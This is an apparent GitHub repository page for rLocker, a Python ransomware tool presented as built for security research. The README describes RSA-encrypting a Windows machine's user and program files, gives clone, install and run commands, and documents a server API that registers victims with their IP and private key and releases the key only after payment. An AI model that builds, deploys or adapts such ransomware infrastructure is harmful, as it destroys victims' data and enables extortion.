Skip to content
/ rLocker Public

RSA Locker is a ransomware tool built for security research purposes

License

Notifications You must be signed in to change notification settings

a3l6/rLocker

Repository files navigation

rLocker (RSA Locker)

rLocker (RSA Locker) is a ransomware tool built in python. It uses the RSA encryption standard to encrypt a computers C:\Users files and C:\Program Files and C:\Program Files (x86). Your key pair is stored on a mongoDB database. rLocker communicates with a mainserver API to allow for restricted database access.

rLocker was made with the purpose to find out how easy writing malware can be, and how simple ransomware can devastate a system. rLocker was made over the course of 2 days, so there is likely a lot of bugs. But it serves its purpose to demonstrate the power of cryptography.

rLocker is the encryptor, with dLocker being the decryptor. A file called uuid.rlocker will be created when you have used rlocker, do not delete this file! This file contains your UUID and it can be difficult to decrupt the files without it!

Running the code

To use the tools, first clone the repository

  git clone https://github.com/Ironislife98/rLocker.git

Then install the dependencies

  pip install -r requirements.txt

Then run the encryptor

  python rlocker.python

Don't do anything without explicit permission

API Reference

Add New Victim

  GET /add/${uuid}/${ip}/${privatekey}/${publickey}
Parameter Type Description
uuid string Required. Your unique user id
ip `string Required. Your ip address
privatekey `string Required. Your RSA private key
publickey `string Required. Your RSA public key

Get Key

  GET /getkey/${uuid}
Parameter Type Description
uuid string Required. Unique user id of victim

Returns key if victim has paid, else returns Payment not complete!

Get new UUID for victim

  GET /newid

Returns a UUID for victim.

Paid Status

  GET /paidstatus/${uuid}
Parameter Type Description
uuid string Required. Unique user id of victim

Returns status of victims payment, True or False

Demo

rLocker Demo

Authors

About

RSA Locker is a ransomware tool built for security research purposes

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages